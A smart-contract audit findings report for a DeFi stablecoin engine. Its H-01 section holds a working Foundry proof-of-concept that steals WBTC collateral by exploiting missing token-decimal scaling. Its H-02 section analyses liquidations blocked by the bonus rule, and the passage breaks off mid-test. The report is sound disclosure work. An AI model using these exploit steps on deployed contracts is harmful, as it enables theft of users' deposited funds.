Foundry DeFi Stablecoin CodeHawks Audit Contest - Findings Report

Table of contents

Contest Summary

Sponsor: Cyfrin

Dates: Jul 24th, 2023 - Aug 5th, 2023

more contest details

Results Summary

Number of findings:

  • High: 4
  • Medium: 12
  • Low: 7
  • Gas/Info: 45

High Risk Findings

H-01. Theft of collateral tokens with fewer than 18 decimals

Submitted by kutu, Bobface, JohnnyTime, Vagner, HollaDieWaldfee, 0xyPhilic, jnrlouis, JohnLaw, gaslimit, rvierdiiev, pengun, toshii, 0xANJAN143, mahyar, TeamFliBit, BenRai, said017, RugpullDetector, t0x1c, pep7siup, AlexCzm, pacelliv, warRoom, SBSecurity, gss1, No12Samurai, Juntao, Crunch, aak, CircleLooper, kamuik16, hash, BLACK PANDA REACH, 0xgrbr, paspe, serialcoder, Maroutis, Kose, honeymewn, cuthalion0x, alexzoid, JMTT. Selected submission by: cuthalion0x.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L347

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L366

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L356

Summary

The token prices computed by DSCEngine#getTokenAmountFromUsd() and DSCEngine#getUsdValue() fail to account for token decimals. As written, these methods assume that all tokens have 18 decimals; however, one of the stated collateral tokens is WBTC, which has only 8 decimals on Ethereum mainnet.

This 18-decimal assumption creates a discrepancy between the protocol-computed USD value and actual USD value of tokens with non-standard decimals. As a result, any deposited collateral token with fewer than 18 decimals (including WBTC) can potentially be stolen by an attacker.

Vulnerability Details

This line from DSCEngine#getTokenAmountFromUsd() contains scaling adjustments for the price feed's own precision (expressed to 8 decimals), but no such adjustments for the token's own decimals. The return value always has 18 decimals, but it should instead match the token's decimals since it returns a token amount.

return (usdAmountInWei * PRECISION) / (uint256(price) * ADDITIONAL_FEED_PRECISION);

This line from DSCEngine#getUsdValue() contains the same issue but in the opposite direction. The return value always has the same number of decimals as the token itself, whereas it is supposed to be an 18-decimal USD amount.

return ((uint256(price) * ADDITIONAL_FEED_PRECISION) * amount) / PRECISION;

When various USD values are added together in this line from DSCEngine#getAccountCollateralValue(), the total collateral value is incorrect because the terms of the sum may have different decimals, and therefore different frames of reference.

totalCollateralValueInUsd += getUsdValue(token, amount);

A proof of concept for the attack is provided below. Note that this test utilizes the slightly modified version of HelperConfig.s.sol shown in the diff at the bottom of this submission, which creates mock tokens with differing decimals.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import {DeployDSC} from "../../script/DeployDSC.s.sol";
import {DSCEngine} from "../../src/DSCEngine.sol";
import {DecentralizedStableCoin} from "../../src/DecentralizedStableCoin.sol";
import {HelperConfig} from "../../script/HelperConfig.s.sol";
import {ERC20DecimalsMock} from "@openzeppelin/contracts/mocks/ERC20DecimalsMock.sol";
import {MockV3Aggregator} from "../mocks/MockV3Aggregator.sol";
import {Test, console} from "forge-std/Test.sol";
import {StdCheats} from "forge-std/StdCheats.sol";

contract TokenDecimalExploit is StdCheats, Test {
    DSCEngine public dsce;
    DecentralizedStableCoin public dsc;
    HelperConfig public helperConfig;

    address public ethUsdPriceFeed;
    address public btcUsdPriceFeed;
    address public weth;
    address public wbtc;
    uint256 public wethDecimals;
    uint256 public wbtcDecimals;
    uint256 public feedDecimals;
    uint256 public deployerKey;

    address public user = address(1);
    address public exploiter = address(2);

    uint256 public constant STARTING_USER_BALANCE = 10 ether;
    uint256 public constant MIN_HEALTH_FACTOR = 1e18;
    uint256 public constant LIQUIDATION_BONUS = 10;
    uint256 public constant LIQUIDATION_THRESHOLD = 50;
    uint256 public constant LIQUIDATION_PRECISION = 100;

    function setUp() external {
        DeployDSC deployer = new DeployDSC();
        (dsc, dsce, helperConfig) = deployer.run();
        (ethUsdPriceFeed, btcUsdPriceFeed, weth, wbtc, deployerKey) = helperConfig.activeNetworkConfig();
        if (block.chainid == 31337) {
            vm.deal(user, STARTING_USER_BALANCE);
        }
        ERC20DecimalsMock(weth).mint(user, STARTING_USER_BALANCE);
        ERC20DecimalsMock(wbtc).mint(user, STARTING_USER_BALANCE);
        ERC20DecimalsMock(weth).mint(exploiter, STARTING_USER_BALANCE);
        // The exploiter is not given any WBTC.

        wethDecimals = ERC20DecimalsMock(weth).decimals();
        wbtcDecimals = ERC20DecimalsMock(wbtc).decimals();
        feedDecimals = helperConfig.FEED_DECIMALS();
    }

    /**
     * @notice This test is based on a very real possible scenario involving WETH and WBTC.
     *
     * On Ethereum mainnet, WETH and WBTC have 18 and 8 decimals, respectively.
     * The current prices of WETH and WBTC are close to $2,000 and $30,000, respectively.
     * The `DSCEngine` allows a user to borrow up to the liquidation threshold.
     * The `DSCEngine` fails to account for token decimals when computing USD prices.
     */ 
    function testExploitTokenDecimals() public {
        // Set initial prices.
        MockV3Aggregator(ethUsdPriceFeed).updateAnswer(int256(2_000 * 10**feedDecimals)); // $2,000
        MockV3Aggregator(btcUsdPriceFeed).updateAnswer(int256(30_000 * 10**feedDecimals)); // $30,000

        // A user borrows the maximum possible amount of DSC using WETH as collateral.
        vm.startPrank(user);
        uint256 amountWethDeposited = 1 * 10**wethDecimals; // 1 WETH
        uint256 expectedValueWeth = 2_000 ether; // $2,000
        uint256 amountDscFromWeth = (expectedValueWeth * LIQUIDATION_THRESHOLD) / LIQUIDATION_PRECISION;
        ERC20DecimalsMock(weth).approve(address(dsce), amountWethDeposited);
        dsce.depositCollateralAndMintDsc(weth, amountWethDeposited, amountDscFromWeth);
        assertEq(dsc.balanceOf(user), amountDscFromWeth);
        vm.stopPrank();

        // The user's 1 WETH should be worth $2,000 as we expect.
        uint256 valueWeth = dsce.getUsdValue(weth, amountWethDeposited);
        assertEq(valueWeth, expectedValueWeth);

        // Similarly, the reciprocal is true.
        uint256 amountWeth = dsce.getTokenAmountFromUsd(weth, expectedValueWeth);
        assertEq(amountWeth, amountWethDeposited);

        // Now the user borrows more DSC using WBTC collateral.
        // The flawed price computation ensures that the user can't borrow much at all, but they will anyway.
        vm.startPrank(user);
        uint256 amountWbtcDeposited = 1 * 10**wbtcDecimals; // 1 WBTC
        // This is the flaw! Given WBTC's 8 decimals, this WBTC is priced at $0.000003 instead of $30,000.
        uint256 expectedValueWbtc = 30_000 * 10**wbtcDecimals; // $0.000003 != $30,000
        uint256 amountDscFromWbtc = (expectedValueWbtc * LIQUIDATION_THRESHOLD) / LIQUIDATION_PRECISION;
        ERC20DecimalsMock(wbtc).approve(address(dsce), amountWbtcDeposited);
        dsce.depositCollateralAndMintDsc(wbtc, amountWbtcDeposited, amountDscFromWbtc);
        assertEq(dsc.balanceOf(user), amountDscFromWeth + amountDscFromWbtc);
        vm.stopPrank();

        // The user's 1 WBTC is worth far too little.
        uint256 valueWbtc = dsce.getUsdValue(wbtc, amountWbtcDeposited);
        assertEq(valueWbtc, expectedValueWbtc);

        // Similarly, the reciprocal is true.
        uint256 amountWbtc = dsce.getTokenAmountFromUsd(wbtc, expectedValueWbtc);
        assertEq(amountWbtc, amountWbtcDeposited);

        // An exploiter acquires DSC to perform a liquidation (DSC could have come from the market, but we borrow it).
        vm.startPrank(exploiter);
        ERC20DecimalsMock(weth).approve(address(dsce), amountWethDeposited);
        dsce.depositCollateralAndMintDsc(weth, amountWethDeposited, amountDscFromWeth);
        assertEq(dsc.balanceOf(exploiter), amountDscFromWeth);
        vm.stopPrank();

        // Over time, the price of WBTC falls just slightly. The user is now vulnerable to liquidation.
        MockV3Aggregator(btcUsdPriceFeed).updateAnswer(int256(29_999 * 10**feedDecimals)); // $29,999
        uint256 newValueWbtc = dsce.getUsdValue(wbtc, amountWbtcDeposited);
        assertTrue(dsce.getHealthFactor(user) < MIN_HEALTH_FACTOR);

        // The exploiter liquidates the user's WBTC by paying back an "equivalent" amount of DSC.
        // The amount is actually far too low given the flawed price calculation.
        // After this, the exploiter still has plenty of DSC and all of the user's WBTC.
        // The exploiter paid ~$0.0000027 for ~$30,000 worth of WBTC.
        vm.startPrank(exploiter);
        // This comes out to about $0.0000027 (reduced from $0.000003 to account for 10% liquidation bonus)
        uint256 debtToPay = (newValueWbtc * LIQUIDATION_PRECISION) / (LIQUIDATION_PRECISION + LIQUIDATION_BONUS);
        dsc.approve(address(dsce), debtToPay);
        dsce.liquidate(wbtc, user, debtToPay);
        vm.stopPrank();
        
        // Exploiter has all of the WBTC and still lots of DSC left!
        uint256 err = 0.0001 ether; // 0.01% allowable relative error to account for rounding
        assertApproxEqRel(ERC20DecimalsMock(wbtc).balanceOf(exploiter), amountWbtcDeposited, err);
        assertApproxEqRel(dsc.balanceOf(exploiter), amountDscFromWeth, err);

        // User has no WBTC left in the `DSCEngine`.
        assertApproxEqAbs(dsce.getCollateralBalanceOfUser(user, wbtc), 0, 1); // 1 wei of allowable error for rounding
    }
}

Impact

Direct theft of deposited collateral for tokens with fewer than 18 decimals.

Tools Used

Manual review.

Recommendations

Test for varied token decimals! Here is a diff which adds some relevant tests to the existing code base. Note that the new tests fail!

diff --git a/script/HelperConfig.s.sol b/script/HelperConfig.s.sol
index c9083ad..98c2b56 100644
--- a/script/HelperConfig.s.sol
+++ b/script/HelperConfig.s.sol
@@ -4,7 +4,7 @@ pragma solidity ^0.8.18;
 
 import {Script} from "forge-std/Script.sol";
 import {MockV3Aggregator} from "../test/mocks/MockV3Aggregator.sol";
-import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
+import {ERC20DecimalsMock} from "@openzeppelin/contracts/mocks/ERC20DecimalsMock.sol";
 
 contract HelperConfig is Script {
     struct NetworkConfig {
@@ -15,7 +15,9 @@ contract HelperConfig is Script {
         uint256 deployerKey;
     }
 
-    uint8 public constant DECIMALS = 8;
+    uint8 public constant FEED_DECIMALS = 8;
+    uint8 public constant WETH_DECIMALS = 18;
+    uint8 public constant WBTC_DECIMALS = 8;
     int256 public constant ETH_USD_PRICE = 2000e8;
     int256 public constant BTC_USD_PRICE = 1000e8;
     uint256 public DEFAULT_ANVIL_KEY = 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80;
@@ -47,16 +49,18 @@ contract HelperConfig is Script {
 
         vm.startBroadcast();
         MockV3Aggregator ethUsdPriceFeed = new MockV3Aggregator(
-            DECIMALS,
+            FEED_DECIMALS,
             ETH_USD_PRICE
         );
-        ERC20Mock wethMock = new ERC20Mock("WETH", "WETH", msg.sender, 1000e8);
+        ERC20DecimalsMock wethMock = new ERC20DecimalsMock("WETH", "WETH", WETH_DECIMALS);
+        wethMock.mint(msg.sender, 1000 * 10**WETH_DECIMALS);
 
         MockV3Aggregator btcUsdPriceFeed = new MockV3Aggregator(
-            DECIMALS,
+            FEED_DECIMALS,
             BTC_USD_PRICE
         );
-        ERC20Mock wbtcMock = new ERC20Mock("WBTC", "WBTC", msg.sender, 1000e8);
+        ERC20DecimalsMock wbtcMock = new ERC20DecimalsMock("WBTC", "WBTC", WBTC_DECIMALS);
+        wbtcMock.mint(msg.sender, 1000 * 10**WBTC_DECIMALS);
         vm.stopBroadcast();
 
         return NetworkConfig({
diff --git a/test/unit/DSCEngineTest.t.sol b/test/unit/DSCEngineTest.t.sol
index f697f8d..dc2de7d 100644
--- a/test/unit/DSCEngineTest.t.sol
+++ b/test/unit/DSCEngineTest.t.sol
@@ -6,7 +6,7 @@ import {DeployDSC} from "../../script/DeployDSC.s.sol";
 import {DSCEngine} from "../../src/DSCEngine.sol";
 import {DecentralizedStableCoin} from "../../src/DecentralizedStableCoin.sol";
 import {HelperConfig} from "../../script/HelperConfig.s.sol";
-import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
+import {ERC20DecimalsMock} from "@openzeppelin/contracts/mocks/ERC20DecimalsMock.sol";
 import {MockMoreDebtDSC} from "../mocks/MockMoreDebtDSC.sol";
 import {MockFailedMintDSC} from "../mocks/MockFailedMintDSC.sol";
 import {MockFailedTransferFrom} from "../mocks/MockFailedTransferFrom.sol";
@@ -24,6 +24,8 @@ contract DSCEngineTest is StdCheats, Test {
     address public btcUsdPriceFeed;
     address public weth;
     address public wbtc;
+    uint256 public wethDecimals;
+    uint256 public wbtcDecimals;
     uint256 public deployerKey;
 
     uint256 amountCollateral = 10 ether;
@@ -58,8 +60,11 @@ contract DSCEngineTest is StdCheats, Test {
         //     vm.etch(ethUsdPriceFeed, address(aggregatorMock).code);
         //     vm.etch(btcUsdPriceFeed, address(aggregatorMock).code);
         // }
-        ERC20Mock(weth).mint(user, STARTING_USER_BALANCE);
-        ERC20Mock(wbtc).mint(user, STARTING_USER_BALANCE);
+        ERC20DecimalsMock(weth).mint(user, STARTING_USER_BALANCE);
+        ERC20DecimalsMock(wbtc).mint(user, STARTING_USER_BALANCE);
+
+        wethDecimals = ERC20DecimalsMock(weth).decimals();
+        wbtcDecimals = ERC20DecimalsMock(wbtc).decimals();
     }
 
     ///////////////////////
@@ -81,21 +86,36 @@ contract DSCEngineTest is StdCheats, Test {
     // Price Tests //
     //////////////////
 
-    function testGetTokenAmountFromUsd() public {
-        // If we want $100 of WETH @ $2000/WETH, that would be 0.05 WETH
-        uint256 expectedWeth = 0.05 ether;
-        uint256 amountWeth = dsce.getTokenAmountFromUsd(weth, 100 ether);
+    function testGetWethTokenAmountFromUsd() public {
+        // If we want $10,000 of WETH @ $2000/WETH, that would be 5 WETH
+        uint256 expectedWeth = 5 * 10**wethDecimals;
+        uint256 amountWeth = dsce.getTokenAmountFromUsd(weth, 10_000 ether);
         assertEq(amountWeth, expectedWeth);
     }
 
-    function testGetUsdValue() public {
-        uint256 ethAmount = 15e18;
-        // 15e18 ETH * $2000/ETH = $30,000e18
-        uint256 expectedUsd = 30000e18;
+    function testGetWbtcTokenAmountFromUsd() public {
+        // If we want $10,000 of WBTC @ $1000/WBTC, that would be 10 WBTC
+        uint256 expectedWbtc = 10 * 10**wbtcDecimals;
+        uint256 amountWbtc = dsce.getTokenAmountFromUsd(wbtc, 10_000 ether);
+        assertEq(amountWbtc, expectedWbtc);
+    }
+
+    function testGetUsdValueWeth() public {
+        uint256 ethAmount = 15 * 10**wethDecimals;
+        // 15 ETH * $2000/ETH = $30,000
+        uint256 expectedUsd = 30_000 ether;
         uint256 usdValue = dsce.getUsdValue(weth, ethAmount);
         assertEq(usdValue, expectedUsd);
     }
 
+    function testGetUsdValueWbtc() public {
+        uint256 btcAmount = 15 * 10**wbtcDecimals;
+        // 15 BTC * $1000/BTC = $15,000
+        uint256 expectedUsd = 15_000 ether;
+        uint256 usdValue = dsce.getUsdValue(wbtc, btcAmount);
+        assertEq(usdValue, expectedUsd);
+    }
+
     ///////////////////////////////////////
     // depositCollateral Tests //
     ///////////////////////////////////////
@@ -119,7 +139,7 @@ contract DSCEngineTest is StdCheats, Test {
         mockDsc.transferOwnership(address(mockDsce));
         // Arrange - User
         vm.startPrank(user);
-        ERC20Mock(address(mockDsc)).approve(address(mockDsce), amountCollateral);
+        ERC20DecimalsMock(address(mockDsc)).approve(address(mockDsce), amountCollateral);
         // Act / Assert
         vm.expectRevert(DSCEngine.DSCEngine__TransferFailed.selector);
         mockDsce.depositCollateral(address(mockDsc), amountCollateral);
@@ -128,7 +148,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     function testRevertsIfCollateralZero() public {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
 
         vm.expectRevert(DSCEngine.DSCEngine__NeedsMoreThanZero.selector);
         dsce.depositCollateral(weth, 0);
@@ -136,7 +156,8 @@ contract DSCEngineTest is StdCheats, Test {
     }
 
     function testRevertsWithUnapprovedCollateral() public {
-        ERC20Mock randToken = new ERC20Mock("RAN", "RAN", user, 100e18);
+        ERC20DecimalsMock randToken = new ERC20DecimalsMock("RAN", "RAN", 4);
+        ERC20DecimalsMock(randToken).mint(user, 100 ether);
         vm.startPrank(user);
         vm.expectRevert(DSCEngine.DSCEngine__NotAllowedToken.selector);
         dsce.depositCollateral(address(randToken), amountCollateral);
@@ -145,7 +166,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     modifier depositedCollateral() {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateral(weth, amountCollateral);
         vm.stopPrank();
         _;
@@ -182,7 +203,7 @@ contract DSCEngineTest is StdCheats, Test {
         mockDsc.transferOwnership(address(mockDsce));
         // Arrange - User
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(mockDsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(mockDsce), amountCollateral);
 
         vm.expectRevert(DSCEngine.DSCEngine__MintFailed.selector);
         mockDsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
@@ -193,7 +214,7 @@ contract DSCEngineTest is StdCheats, Test {
         (, int256 price,,,) = MockV3Aggregator(ethUsdPriceFeed).latestRoundData();
         amountToMint = (amountCollateral * (uint256(price) * dsce.getAdditionalFeedPrecision())) / dsce.getPrecision();
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
 
         uint256 expectedHealthFactor =
             dsce.calculateHealthFactor(dsce.getUsdValue(weth, amountCollateral), amountToMint);
@@ -204,7 +225,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     modifier depositedCollateralAndMintedDsc() {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
         vm.stopPrank();
         _;
@@ -221,7 +242,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     function testRevertsIfMintAmountIsZero() public {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
         vm.expectRevert(DSCEngine.DSCEngine__NeedsMoreThanZero.selector);
         dsce.mintDsc(0);
@@ -235,7 +256,7 @@ contract DSCEngineTest is StdCheats, Test {
         amountToMint = (amountCollateral * (uint256(price) * dsce.getAdditionalFeedPrecision())) / dsce.getPrecision();
 
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateral(weth, amountCollateral);
 
         uint256 expectedHealthFactor =
@@ -259,7 +280,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     function testRevertsIfBurnAmountIsZero() public {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
         vm.expectRevert(DSCEngine.DSCEngine__NeedsMoreThanZero.selector);
         dsce.burnDsc(0);
@@ -306,7 +327,7 @@ contract DSCEngineTest is StdCheats, Test {
         mockDsc.transferOwnership(address(mockDsce));
         // Arrange - User
         vm.startPrank(user);
-        ERC20Mock(address(mockDsc)).approve(address(mockDsce), amountCollateral);
+        ERC20DecimalsMock(address(mockDsc)).approve(address(mockDsce), amountCollateral);
         // Act / Assert
         mockDsce.depositCollateral(address(mockDsc), amountCollateral);
         vm.expectRevert(DSCEngine.DSCEngine__TransferFailed.selector);
@@ -316,7 +337,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     function testRevertsIfRedeemAmountIsZero() public {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
         vm.expectRevert(DSCEngine.DSCEngine__NeedsMoreThanZero.selector);
         dsce.redeemCollateral(weth, 0);
@@ -326,7 +347,7 @@ contract DSCEngineTest is StdCheats, Test {
     function testCanRedeemCollateral() public depositedCollateral {
         vm.startPrank(user);
         dsce.redeemCollateral(weth, amountCollateral);
-        uint256 userBalance = ERC20Mock(weth).balanceOf(user);
+        uint256 userBalance = ERC20DecimalsMock(weth).balanceOf(user);
         assertEq(userBalance, amountCollateral);
         vm.stopPrank();
     }
@@ -345,7 +366,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     function testCanRedeemDepositedCollateral() public {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
         dsc.approve(address(dsce), amountToMint);
         dsce.redeemCollateralForDsc(weth, amountCollateral, amountToMint);
@@ -399,16 +420,16 @@ contract DSCEngineTest is StdCheats, Test {
         mockDsc.transferOwnership(address(mockDsce));
         // Arrange - User
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(mockDsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(mockDsce), amountCollateral);
         mockDsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
         vm.stopPrank();
 
         // Arrange - Liquidator
         collateralToCover = 1 ether;
-        ERC20Mock(weth).mint(liquidator, collateralToCover);
+        ERC20DecimalsMock(weth).mint(liquidator, collateralToCover);
 
         vm.startPrank(liquidator);
-        ERC20Mock(weth).approve(address(mockDsce), collateralToCover);
+        ERC20DecimalsMock(weth).approve(address(mockDsce), collateralToCover);
         uint256 debtToCover = 10 ether;
         mockDsce.depositCollateralAndMintDsc(weth, collateralToCover, amountToMint);
         mockDsc.approve(address(mockDsce), debtToCover);
@@ -422,10 +443,10 @@ contract DSCEngineTest is StdCheats, Test {
     }
 
     function testCantLiquidateGoodHealthFactor() public depositedCollateralAndMintedDsc {
-        ERC20Mock(weth).mint(liquidator, collateralToCover);
+        ERC20DecimalsMock(weth).mint(liquidator, collateralToCover);
 
         vm.startPrank(liquidator);
-        ERC20Mock(weth).approve(address(dsce), collateralToCover);
+        ERC20DecimalsMock(weth).approve(address(dsce), collateralToCover);
         dsce.depositCollateralAndMintDsc(weth, collateralToCover, amountToMint);
         dsc.approve(address(dsce), amountToMint);
 
@@ -436,7 +457,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     modifier liquidated() {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
         vm.stopPrank();
         int256 ethUsdUpdatedPrice = 18e8; // 1 ETH = $18
@@ -444,10 +465,10 @@ contract DSCEngineTest is StdCheats, Test {
         MockV3Aggregator(ethUsdPriceFeed).updateAnswer(ethUsdUpdatedPrice);
         uint256 userHealthFactor = dsce.getHealthFactor(user);
 
-        ERC20Mock(weth).mint(liquidator, collateralToCover);
+        ERC20DecimalsMock(weth).mint(liquidator, collateralToCover);
 
         vm.startPrank(liquidator);
-        ERC20Mock(weth).approve(address(dsce), collateralToCover);
+        ERC20DecimalsMock(weth).approve(address(dsce), collateralToCover);
         dsce.depositCollateralAndMintDsc(weth, collateralToCover, amountToMint);
         dsc.approve(address(dsce), amountToMint);
         dsce.liquidate(weth, user, amountToMint); // We are covering their whole debt
@@ -456,7 +477,7 @@ contract DSCEngineTest is StdCheats, Test {
     }
 
     function testLiquidationPayoutIsCorrect() public liquidated {
-        uint256 liquidatorWethBalance = ERC20Mock(weth).balanceOf(liquidator);
+        uint256 liquidatorWethBalance = ERC20DecimalsMock(weth).balanceOf(liquidator);
         uint256 expectedWeth = dsce.getTokenAmountFromUsd(weth, amountToMint)
             + (dsce.getTokenAmountFromUsd(weth, amountToMint) / dsce.getLiquidationBonus());
         uint256 hardCodedExpected = 6111111111111111110;
@@ -519,7 +540,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     function testGetCollateralBalanceOfUser() public {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateral(weth, amountCollateral);
         vm.stopPrank();
         uint256 collateralBalance = dsce.getCollateralBalanceOfUser(user, weth);
@@ -528,7 +549,7 @@ contract DSCEngineTest is StdCheats, Test {
 
     function testGetAccountCollateralValue() public {
         vm.startPrank(user);
-        ERC20Mock(weth).approve(address(dsce), amountCollateral);
+        ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
         dsce.depositCollateral(weth, amountCollateral);
         vm.stopPrank();
         uint256 collateralValue = dsce.getAccountCollateralValue(user);

H-02. Liquidation Is Prevented Due To Strict Implementation of Liqudation Bonus

Submitted by Bobface, carrotsmuggler, 0xlemon, JohnnyTime, crippie, jprod15, pengun, ljj, TeamFliBit, chainNue, twcctop, neocrao, AlexCzm, No12Samurai, alymurtazamemon, Maroutis. Selected submission by: No12Samurai.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L229-L262

Summary

The issue arises due to the strict implementation of the liquidation bonus, which prevents liquidation when a user is between 100% to 110% over-collateralized. When a user's health factor falls below a certain threshold, liquidation should occur; however, the strict bonus implementation results in insufficient funds for liquidation, leading to the transaction being reverted.

The vulnerability allows users to avoid complete liquidation, even when their health factor drops to the critical range, which is problematic for the protocol's stability and security. The issue is more likely to occur when multiple types of collateral are used, and the value of one collateral crashes.

To demonstrate the vulnerability's impact, a proof of concept and a test case have been executed, highlighting the scenario where a liquidator is unable to liquidate a user's debt completely due to insufficient collateral, leading to transaction reversion.

I recommend a mitigation step to modify the liquidation bonus calculation when the health factor is between 100% to 110%. By adjusting the liquidation bonus to the maximum positive not-zero possible amount rather than a fixed value of 1.1 * liquidationAmount, the vulnerability can be addressed.

Vulnerability Details

There is a valuable threshold when a user is 100% to 110% over-collateralized, the user must get liquidated. However, because of the strict implementation of the liquidation bonus, when the user reaches under 110% over-collateral, they cannot get liquidated fully anymore.

The reason is that when a user gets liquidated, 10% of the amount of liquidation will be sent to the liquidator as the liquidation bonus; however, if the user is not able to provide the liquidation bonus completely in their account, the liquidation will be reverted, because the user does not have sufficient funds.

Impact

When the health factor is between 100% and 110%, the liquidator cannot pay the debt partially, because the health factor is not going to be improved. Also, the liquidator cannot pay the debt completely, because the borrower does not have enough funds to pay the liquidation bonus. So, the borrower is never going to get liquidated.

Consider Alice has x as the collateral, `y` as the debt and the liquidation bonus is 10%. Consider Bob wants to pay z of Alice's debt and receive `1.1 * z` of her collateral. Also, consider Alice has a health factor under MIN_HEALT_FACTOR. We want to calculate what is the minimum amount that Alice must have as collateral to pay the full amount of debt as well as the liquidation bonus when she is getting liquidated. After liquidation, the collateral must at least be twice the debt:

(x - 1.1 \times z) \times 2 \leq y - z

In the previous equation, we are saying the amount that is going to be deducted from Alice's collateral in the liquidation process is 1.1 * z. Then, the collateral amount minus the deducted value must be twice as the debt minus the deducted value. The minimum amount happens when the left-hand side is equal to the right-hand side. So, we want to calculate the equation below:

2x - 2.2z = y - z

Also, for calculating the minimum amount, we have to assume that all of Alice's collateral can be liquidated now (z = x / 1.1). So, we change the equation to the equation below:

y = \frac{x}{1.1}

When the collateral is less than 1.1 times of the debt, Alice cannot pay the full amount to get liquidated. Hence, Alice is never going to be liquidated completely, unless her collateral becomes 1.1 times more than her debt. However, when, for example, the collateral is 1.05 times more than the debt, the liquidator still has incentives to liquidate the user and get a liquidation bonus.

This problem is more probable since this protocol can use multiple types of collateral. One collateral may crash and use its value, and the user's health factor reaches 100 to 110%. The liquidators should liquidate this user completely using the other collateral; however, this will not happen.

For example, consider Alice deposits 105 of WETH and 95 of WBTC. Also, Alice mints 100 of DSC. Now, their health factor is more than `MIN_HEALTH_FACTOR`. Now, consider WBTC crashes and its value reaches 0. Now, Alice has 105 of WETH collateral and 100 of DSC debt. Her health factor is way less than `MIN_HEALTH_FACTOR`. Also, she is over-collateralized. However, no liquidator can send 100 of DSC to receive 105 of WETH; however, they can send ~95 of DSC to receive 105$ of WETH. However, after that, the health factor is not going to be improved and the transaction is going to be reverted again. Hence, when the over-collateralized ratio is between 1 to 1.1, the user is never get liquidated.

Executed the test below:

function testCriticalHealthFactor() public {
    // Arranging the liquidator
    uint256 liquidatorCollateral = 10e18;
    ERC20Mock(weth).mint(liquidator, liquidatorCollateral);
    vm.startPrank(liquidator);
    ERC20Mock(weth).approve(address(dsce), liquidatorCollateral);
    uint256 liquidatorDebtToCover = 200e18;
    dsce.depositCollateralAndMintDsc(weth, liquidatorCollateral, amountToMint);
    dsc.approve(address(dsce), liquidatorDebtToCover);
    vm.stopPrank();

    // We set the price of WETH to $105 and WBTC to $95
    int256 wethUsdPrice = 105e8;
    MockV3Aggregator(ethUsdPriceFeed).updateAnswer(wethUsdPrice);
    int256 wbtcUsdPrice = 95e8;
    MockV3Aggregator(btcUsdPriceFeed).updateAnswer(wbtcUsdPrice);

    // Alice deposits 1 WBTC and 1 WETH and mints 100 DSC
    uint256 amountWethToDeposit = 1e18;
    uint256 amountWbtcToDeposit = 1e18;
    uint256 amountDscToMint = 100e18;
    vm.startPrank(user);
    ERC20Mock(weth).approve(address(dsce), amountWbtcToDeposit);
    dsce.depositCollateral(weth, amountWbtcToDeposit);
    ERC20Mock(wbtc).approve(address(dsce), amountWethToDeposit);
